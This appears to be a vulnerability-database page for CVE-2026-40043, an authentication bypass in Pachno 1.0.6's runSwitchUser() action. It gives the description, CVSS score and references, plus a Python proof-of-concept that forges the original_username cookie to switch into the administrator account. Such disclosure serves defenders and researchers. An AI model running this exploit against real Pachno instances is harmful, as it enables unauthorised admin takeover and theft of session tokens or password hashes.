CVE-2026-40043

Description

Pachno 1.0.6 contains an authentication bypass vulnerability in the runSwitchUser() action that allows authenticated low-privilege users to escalate privileges by manipulating the original_username cookie. Attackers can set the client-controlled original_username cookie to any value and request a switch to user ID 1 to obtain session tokens or password hashes belonging to administrator accounts.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Pachno 1.0.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com/pachno/switch_user"

# Attacker's low-privilege session cookie
attacker_session = "attacker_low_priv_session_id_here"

# Step 1: Prepare cookies with the vulnerable 'original_username' parameter
# The application trusts this cookie value to determine the switch context
exploit_cookies = {
    "original_username": "admin",  # Malicious value to impersonate admin
    "PHPSESSID": attacker_session
}

# Step 2: Send request to switch to User ID 1 (usually Administrator)
payload = {
    "user_id": 1
}

try:
    response = requests.get(target_url, cookies=exploit_cookies, params=payload)
    
    if response.status_code == 200:
        print("[+] Exploit successful! Session token potentially escalated.")
        print("[+] Response:", response.text)
    else:
        print("[-] Exploit failed. Status code:", response.status_code)
        
except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40043
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40043
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40043/
[4] VulDB https://vuldb.com/cve/CVE-2026-40043
[5] https://www.vulncheck.com/advisories/pachno-authentication-bypass-via-runswitchuser
[6] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2026-5985.php
[7] https://www.zeroscience.mk/#/advisories/ZSL-2026-5985

Raw JSON Data

JSON

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